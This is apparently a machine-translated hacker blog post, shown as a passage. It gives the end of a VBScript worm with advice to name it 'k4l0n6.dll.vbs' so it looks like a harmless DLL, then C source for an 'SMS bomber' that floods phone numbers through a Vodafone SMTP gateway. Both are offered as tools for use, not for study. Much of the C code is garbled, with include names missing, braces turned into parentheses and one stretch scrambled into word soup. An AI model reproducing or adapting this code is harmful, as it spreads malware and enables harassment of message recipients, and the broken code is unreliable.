sd.run windowpath & "\ explorer.exe / e, / select," & Wscript.ScriptFullname
'End of Code


Save code in Notepad with the FILE> SAVE. Then in the save as type select "All Files (*.*). Save with the name: k4l0n6.dll.vbs. Actually I need a *. dll is also nothing but a business that does not suspicious aja.

He .. he ... Worm Virus is not pure thoughts of my own code because it mimics the virus Rangga-Zay

source: http://www.yogyafree.net/forum2/viewtopic.php?t=5787
http://davidliauw.blogspot.com/2007/06/make-virus-is-easy.html

Source SMS Bomber

# include
# include
# include
# include
# include
# include
# include

int main (int argc, char * argv [])
(
int sock;
char number [15], nomor2 [15];
char smtp [] = "mx.vodafone.pt"; <-smtp 0="" 160="" 1="" a="" address="" char="" d="" error="" fgets="" for="" from:="" from="" hav0c="" hostent="" if="" line.="" mail="" max="" message="" msg="=" n="" nenter="" new="" nter="" null="" number2="=" number="" numbers::="" o="" perror="" phone="" printf="" provider="" r="" rcpt="" return="" rror="" s="" sender="" serv_addr="" server="=" sizeof="" smtp="" sock="=" sock_stream="" sockaddr_in="" socket="" sprintf="" stdin="" struct="" subject="" the="" to="" use="" vodafone.pt=""> \ r \ n", number, provider);
sprintf (rcpt, "rcpt to: <% d% s> \ r \ n", nomor2, provider);

serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons (25);
serv_addr.sin_addr = * ((struct in_addr *) server-> h_addr);

if (connect (sock, (struct sockaddr *) & serv_addr, sizeof (serv_addr))! = NULL) (
perror ( "Error connection to the server");
return 1;
)
if (send (sock, O, strlen (O), 0) == -1) (
perror ( "Error tell data1");
return 1;
)
if (send (sock, mail, strlen (mail), 0) == -1) (
perror ( "Error tell data2");
return 1;
)
if (send (sock, rcpt, strlen (rcpt), 0) == -1) (
perror ( "Error tell data3");
return 1;
)
if (send (sock, subject, strlen (subject), 0) == -1) (
perror ( "Error tell data4");
return 1;
)
if (send (sock, "DATA \ r \ n", 10.0) == -1) (
perror ( "Error data5 tell");
return 1;
)
if (send (sock, msg, strlen (msg), 0) == -1) (
perror ( "Error data6 tell");
return 1;
)
send (sock, ". \ r \ n", 5.0);
if (send (sock, "quit \ r \ n", 10.0) == -1) (
perror ( "Error send data ');
return 1;
)
else (
printf ( "Message sent successfully \ n");
return 0;
)
)

Source: http://www.yogyafree.net/forum2/viewtopic.php?t=7432
http://davidliauw.blogspot.com/2007/08/source-sms-bomber.html